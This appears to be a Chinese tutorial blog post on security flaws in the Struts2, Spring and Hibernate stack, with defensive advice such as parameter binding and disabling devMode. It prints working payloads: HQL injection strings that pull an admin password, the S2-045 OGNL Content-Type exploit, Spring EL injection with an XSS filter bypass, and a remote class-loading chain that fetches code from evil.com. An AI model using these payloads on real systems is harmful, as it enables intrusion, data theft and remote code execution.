SSH的基础安全知识

Hibernate HQL注入攻击:

首先,HQL查询并不直接发送给数据库,而是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。为什么这个细节重要呢?因为有两种错误消息来源,一种来自hibernate引擎一种来自数据库

HQL的一大挑战是注射模式非常有限,其没有联合,没有函数来创建简单延迟,没有系统函数,没有可用的元数据表等。Hibernate查询语言没有那些在后台数据库中可能存在的功能特性。

以下示例代码用来进行之后的测试。需要注意的是,恶意输入总是在百分号之间

session.createQuery("from Book where title like '%" + userInput + "%' and  published = true")

列出所有实体:下面从最基础的开始:列出所有books

from Bookwhere title like '%' or 1=1 or ''='%' and published = true

访问隐藏的列:尽管UNION操作符不可用,我们依然可以暴力破解隐藏的列。

... like '%' and promoCode like 'A%' or 1=2 and ''='%' and published = true

... like '%' and promoCode like 'B%' or 1=2 and ''='%' and published = true

列出所有的列:如果没有元数据表,怎么样才能发现隐藏的列/字段呢。发现一个小窍门,不过只有Hibernate向客户端返回异常消息时才可用。如果列名不是Hibernate中实体定义的一部分,则其会触发异常:

from Bookwhere title like '%' and DOESNT_EXIST=1 and ''='%' and published = true

然后就会抛出包含整个SQL语句的异常信息。

访问不同的表:HQL支持UNION查询,可以与其它表join,但只有在模型明确定义了关系后才可使用。而访问其它表的唯一方法是使用子查询。

以下查询会从表中选择一条与“User”实体关联的项。

from Bookwhere title like '%' and (select substring(password,1,1) from User where username='admin') = 'a' or ''='%' and published = true

非盲注:盲注比较费时间,如果异常消息能显示出来,就可以直接得到任意值了。为此,需要将某个选中的值转换为不同的类型。例如:

from Bookwhere title like '%11' and (select password from User where username='admin')=1 or ''='%' and published = true

然后hibernate又抛出有用的异常信息了。。

调用后台函数:Hibernate会在SELECT和WHERE语句中隐藏一些不可识别的列名,对函数也一样。调用数据库函数的标准过程是事先注册函数映射(HQL->SQL)(Java代码),但攻击者不需要关心兼容性。最终查询中的完整函数可以用来窃取数据(group_concat, array_agg, …)或对后台数据库进行简单的指纹识别。

例如,如果数据库支持group_concat函数:

from Bookwhere title like '%11' and (select cast(group_concat(password) as string) from User)=1 or ''='%' and published = true

hibernate防止sql注入

Hibernate中对动态查询参数绑定提供了丰富的支持,那么什么是查询参数动态绑定呢?其实如果我们熟悉传统JDBC编程的话,我们就不难理解查询参数动态绑定,如下代码传统JDBC使用PrepareStatement的方式来实现参数绑定:

PrepareStatement pre=connection.prepare(“select * from User where user.name=?”);

pre.setString(1,”zhaoxin”);

ResultSet rs=pre.executeQuery();

Hibernate中也提供了类似这种的查询参数绑定功能,而且在Hibernate中对这个功能还提供了比传统JDBC操作丰富的多的特性,在Hibernate中共存在4种参数绑定的方式
A、 按参数名称绑定:
HQL语句中定义命名参数要用”:”开头,形式如下: 
Query query=session.createQuery(“from User user where user.name=:customername and user:customerage=:age”); 
query.setString(“customername”,name); 
query.setInteger(“customerage”,age); 
上面代码中用:customername和:customerage分别定义了命名参数customername和customerage,然后用Query接口的setXXX()方法设定名参数值,setXXX()方法包含两个参数,分别是命名参数名称和命名参数实际值。 
B、 按参数位置邦定:HQL查询语句中用”?”来定义参数位置,形式如下: 
Query query=session.createQuery(“from User user where user.name=? and user.age =? ”); 
query.setString(0,name); 
query.setInteger(1,age); 
同样使用setXXX()方法设定绑定参数,只不过这时setXXX()方法的第一个参数代表邦定参数在HQL语句中出现的位置编号(由0开始),第二个参数仍然代表参数实际值。 
C、 setParameter()方法:Hibernate的HQL查询中可以通过setParameter()方法邦定任意类型的参数,如下代码: 
String hql=”from User user where user.name=:customername ”; 
Query query=session.createQuery(hql); 
query.setParameter(“customername”,name,Hibernate.STRING); 
如上面代码所示,setParameter()方法包含三个参数,分别是命名参数名称,命名参数实际值,以及命名参数映射类型。对于某些参数类型setParameter()方法可以更具参数值的Java类型,猜测出对应的映射类型,因此这时不需要显示写出映射类型,像上面的例子,可以直接这样写: 
query.setParameter(“customername”,name);

但是对于一些类型就必须写明映射类型,比如java.util.Date类型,因为它会对应Hibernate的多种映射类型,比如Hibernate.DATA或者Hibernate.TIMESTAMP。

D、 setProperties()方法:Hibernate中可以使用setProperties()方法,将命名参数与一个对象的属性值绑定在一起,如下程序代码: 
Customer customer=new Customer(); 
customer.setName(“pansl”); 
customer.setAge(80); 
Query query=session.createQuery(“from Customer c where c.name=:name and c.age=:age ”); 
query.setProperties(customer); 
setProperties()方法会自动将customer对象实例的属性值匹配到命名参数上,但是要求命名参数名称必须要与实体对象相应的属性同名。 这里还有一个特殊setEntity()方法,它会把命名参数与一个持久化对象相关联,如下面代码所示: 
Customer customer=(Customer)session.load(Customer.class,”1”); 
Query query=session.createQuery(“from Order order where order.customer    =:customer ”); 
query. setEntity(“customer”,customer); 
List list=query.list(); 

Struts2框架对S2-045漏洞;(打开计算器)

基于“commons-fileupload”组件实现文件上传的漏洞, 通过发包模拟器或其它你能修改请求头Content-Type字段的客户端,可以把 Content-Type 修改成诸如haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; 的形式。

漏洞形成原理:由于请求对象的头字段Content-Type内容是非法的,上传肯定会出错的,commons-fileupload组件的ServletFileUpload#parseRequest(RequestContext)方法会抛出异常,其中异常信息就包含ognl格式的字符串%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

 重点来了,struts2会对异常信息执行国际化的功能,它会使用ognl去解析这个符合ognl语法格式的字符串,然后就执行代码了,成功弹出一个计算器。

为什么不能使用struts2拦截器来过滤这种请求呢,因为漏洞执行的时候还没到strus2的拦截器,在StrutsPrepareAndExecuteFilter类的doFilter方法中

request = prepare.wrapRequest(request);

包装请求对象的时候漏洞就执行了,也就是说如果是文件上传请求,在包装请求对象的时候文件就已被保存到服务器了。

Struts2远程代码执行漏洞S2-046:

如果在使用基于Jakarta的文件上传Multipart解析器时,攻击者通过使用恶意的Content-Disposition值或者使用不合适的Content-Length头就可能导致远程命令执行。   该漏洞与S2-045 (CVE-2017-5638)相似,但使用了不同的攻击向量。触发漏洞需要满足的条件:    

①、JakartaStreamMultipartRequest已开启。也就是说,Struts2需要通过Jakarta stream parser配置(非默认)。在Struts2配置文件中检查<constant name=”struts.multipart.parser” value=”jakarta-stream” />

②、上传文件大小根据Content-Length头的声明要大于Struts2默认允许的2GB大小

③、文件名中包含OGNL payload

Struts2 devMode导致远程代码执行漏洞:

Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

所谓的devMode模式,为Struts2开发人员调试程序准备的,在此模式下可以方便地查看日志等信息。默认情况下,devMode模式是关闭的。不过实际上仍然有很多网站上线的时候就赤裸裸地采用devMode模式,自然面临更大的安全问题,需要尽快修复。

解决方案:只需要修改Struts.xml的配置文件:

<constant name="struts.devMode" value="false" />

Struts2 S2-020补丁绕过漏洞-万恶的正则表达式

Struts 2.0.0-2.3.16版本的默认上传机制是基于Commons FileUpload 1.3版本,其附加的ParametersInterceptor允许访问'class' 参数(该参数直接映射到getClass()方法),并允许控制ClassLoader。在具体的Web容器部署环境下(如:Tomcat),攻击者利用 Web容器下的Java Class对象及其属性参数(如:日志存储参数),可向服务器发起远程代码执行攻击,进而植入网站后门控制网站服务器主机。

Jndi注入及Spring RCE漏洞分析:

Jndi 全称是:Java Naming and Directory Interface,叫做Java命名和目录接口、提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

jndi注入产生的原因可以归结到以下4点:

1、lookup参数可控。

2、InitialContext类及他的子类的lookup方法允许动态协议转换

3、lookup查找的对象是Reference类型及其子类

4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。

发现存在3种方法,可以通过jndi注入导致远程代码执行:

①、rmi:通过jndi reference远程调用object方法。

②、CORBA IOR 远程获取实现类

③、LDAP 通过序列化对象,JNDI Referene,ldap地址

Spring RCE形成的主要原因是 Spring框架的spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager 存在一个readObject方法。当执行对象反序列化的时候,会执行lookup操作,导致了jndi注入,可以导致远程代码执行问题。

Spring远程代码执行漏洞:

节选了部分在Glassfish+EL 2.2远程执行代码的列子:

1、发起请求:如,http://vulnerable.com/foo?message=${applicationScope}

页面如果包含<spring:message text="" code="${param['message']}"></spring:message>

会导致输出服务器的一些敏感信息,包括classpath和本地工作目录等。

2、当应用程序做了过滤器,会对所有<’和’>’进行过滤。利用Expression Language特性,可尝试如下绕过过滤:

http://vulnerable.com/app?code=${param.foo.replaceAll(P,Q)}foo=PPPPP

发起该请求之后,当String.replaceAll方法被调用的时候。该语句会返回一段文本,并插入spring:message tag,返回的错误代码中会显示QQQQQQ

3、最终成功执行XSS,绕过过滤器的语句如下:

http://vulnerable.com/app?code=${param.foo.replaceAll(P,<). replaceAll(Q,>)} &foo=PscriptQalert(1);P/scriptQ

因此使用Spring框架的应用程序可能存在安全隐患,建议开发者关闭表达式语言功能。

远程执行EXP

1.建立一个ArrayList以构造一个URLClassLoader,并且需要在session中存着,可以在后面利用。

${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance())}

2.通过URL对象载入远程执行的代码类

${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletContext().getResource("/").toURI().create("http://evil.com/path/to/where/malicious/classfile/is/located/").toURL())}

远程执行的代码类(运行一个计算器)

public class Malicious {

    public Malicious() {

   try {

           java.lang.Runtime.getRuntime().exec("open -a Calculator"); //Mac

           java.lang.Runtime.getRuntime().exec("calc.exe"); //Win

       } catch (Exception e) {}

    }

}

3.执行代码,打开一个计算器

${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}

Spring Boot框架表达式注入漏洞:

SpringIOC本质就一个容器,也就是一个对象的工厂,我们通过配置文件注册我们的Bean对象,通过他进行对象的组装与床架。SpEL表达式就是一种字符串编程,类似于JS里面的EVAL的作用,通过它可以运行字符串内容。

它算是一种动态的编程在配置文件(xml配置文件或者注解表达式)要是通过拼接字符串作为代码运行,SpEL就可以实现运行恶意代码。

产生原因就是系统报错页面把用户的输入当做了表达式来执行。由于SpelView类中的exactMatch参数未严格过滤,Spring Boot framework 对异常处理不当在同时开启whitelabel page,会造成异常请求中注入SPEL执行。当用户采用Spring Boot启动Spring MVC项目后,Spring Boot默认异常模板在处理异常信息时,会递归解析SPEL表达式,可导致SPEL表达式注入并执行。攻击者利用此漏洞,通过SPEL即可在服务器端实现指令注入(执行代码)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值